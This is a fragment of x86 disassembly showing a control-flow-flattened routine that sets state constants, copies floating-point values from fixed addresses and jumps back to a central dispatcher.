mov eax, 0x30f7ad36
mov ecx, 0xccb74e41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dword [ebp - 0x124], 0x2a6ca3be
jmp 0x1000a849
movss xmm0, dword [0x10017224]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x124], 0x7b183907
jmp 0x1000a849
movss xmm0, dword [0x10017210]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x124], 0xcf07b361
jmp 0x1000a849
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001720c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x7b275ae3
jmp 0x1000a849
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100171d4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x92ea47d4
jmp 0x1000a849
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100171b0]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xc2956772
jmp 0x1000a849
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10017190]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xcf535d9a
jmp 0x1000a849
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x124], 0x9510c31b
jmp 0x1000a849
jmp 0x10002f10